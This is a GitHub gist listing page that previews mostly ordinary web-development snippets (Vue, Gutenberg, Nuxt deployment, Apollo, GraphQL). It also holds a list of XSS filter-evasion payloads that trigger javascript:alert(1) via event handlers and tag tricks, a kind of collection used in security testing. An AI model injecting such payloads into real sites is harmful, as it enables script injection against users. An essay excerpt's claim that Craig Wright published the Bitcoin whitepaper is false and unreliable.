Skip to content

Instantly share code, notes, and snippets.

View ManUtopiK's full-sized avatar
:octocat:
Ready to code.

Emmanuel Salomon ManUtopiK

:octocat:
Ready to code.
View GitHub Profile

Proof-of-power, using a swarm to select miners through majority consensus

Johan Nygren, Bitnation, 2017

In 2008, Craig Wright published the Bitcoin whitepaper, and the idea to use proof-of-work as a trusted authority, provably distributed. This Nakamoto consensus allowed the Bitcoin ledger to extend itself in a way that was resilient to censorship as well as to servers being shut down, and in a way where as the security of the network grew, the number of users and therefore the value of the network also grew following Metcalfe´s Law. Bitcoin was the beginning of what can be broadly defined as “network-states”, successors to the nation-state consensus.

The next generation of a distributed authority for a “network-state” was developed in 2014 by Vlad Zamfir, with the Casper protocol and “consensus-by-bet”, an evolution of the idea of proof-of-stake. With consensus-by-bet, validators would stake their capital in a betting game, and converge on a block, in a way that was also resilient to being shut down,

@pooot
pooot / uppy-vue-example
Created January 2, 2018 15:54
Very basic vuejs usage of uppy
<template>
<div :id="uppyId">
<div class="ThumbnailContainer" v-if="collection === 'thumbnail'">
<button id="open-thumbnail-modal" class="button">Select file</button>
</div>
<div class="DashboardContainer" v-else></div>
</div>
</template>
@royboy789
royboy789 / guten-vue.js
Created January 17, 2018 00:38
This is a Gutenberg Block built with Vue.js
( function( wp ) {
var el = wp.element.createElement;
var __ = wp.i18n.__;
wp.blocks.registerBlockType( 'learn-gutenberg/ex2-vue', {
title: __( 'Learn Gutenberg Example 2: VueJS', 'learn-gutenberg' ),
category: 'widgets',
supportHTML: false,
attributes: {
who: {
@Brian-McBride
Brian-McBride / Feathers-ArangoDB-Connector.md
Last active February 15, 2020 18:53
Feathers-ArangoDB

This is a start to get ArangoDB as a connector for FeathersJS

Dependencies

You'll need a few npm packages.

yarn add arangojs
yarn add uuid
yarn add clone-deep
<body oninput=javascript:alert(1)><input autofocus>
<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
<frameset onload=javascript:alert(1)>
<table background="javascript:javascript:alert(1)">
<!--<img src="--><img src=x onerror=javascript:alert(1)//">
<comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
<![><img src="]><img src=x onerror=javascript:alert(1)//">
<style><img src="</style><img src=x onerror=javascript:alert(1)//">
<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>
@jsjaspreet
jsjaspreet / generateSchema.js
Created March 7, 2018 19:40
Generate GraphQL Schema and Docs programmatically (adopted from Relay github)
import fs from 'fs';
import path from 'path';
import { graphql } from 'graphql';
import { introspectionQuery } from 'graphql/utilities';
import schema from './src/schema/index';
(async () => {
const result = await graphql(schema, introspectionQuery);
if (result.errors) {
console.error(
@DreaMinder
DreaMinder / A Nuxt.js VPS production deployment.md
Last active February 7, 2026 12:23
Deployment manual for a real-world project built with nuxt.js + koa + nginx + pm2

Example of deployment process which I use in my Nuxt.js projects. I usually have 3 components running per project: admin-panel SPA, nuxt.js renderer and JSON API.

This manual is relevant for VPS such as DigitalOcean.com or Vultr.com. It's easier to use things like Now for deployment but for most cases VPS gives more flexebillity needed for projects bigger than a landing page.

UPD: This manual now compatible with nuxt@2.3. For older versions deployment, see revision history.


Let's assume that you have entered fresh installation of Ubuntu instance via SSH. Let's rock:

@Aly-ve
Aly-ve / anything.vue
Last active April 30, 2018 08:59
Buttons to share a website to Diaspora* or Mastodon
<template>
<div class="page">
<shareDiaspora></shareDiaspora>
<shareMastodon v-bind:name="foo"></shareMastodon>
</div>
</template>
<script>
import ShareMastodon from '@/components/share-mastodon'
import ShareDiaspora from '@/components/share-diaspora'
@jrobber
jrobber / apollo.default.js
Last active February 18, 2026 14:54
sample apollo setup
//Apollo client config to set up the token based on the token in the store. Has to be done this way because apollo uses middleware.
import { ApolloLink } from "apollo-link";
import { HttpLink } from "apollo-link-http";
import { InMemoryCache } from "apollo-cache-inmemory";
export default ctx => {
// console.log('apollo init', ctx)
const uri = process.server ? "http://localhost:5000/graphql" : "/graphql";
const httpLink = new HttpLink({ uri });
@bricksroo
bricksroo / App.vue
Last active February 7, 2024 13:03
Reveal.js in Vue
<template>
<div id="app">
<!-- <img src="./assets/logo.png">
<HelloWorld msg="Welcome to Your Vue.js App"/> -->
<div class="reveal">
<div class="slides">
<section>Single Horizontal Slide</section>
<section>
<section>Vertical Slide 1</section>
<section>Vertical Slide 2</section>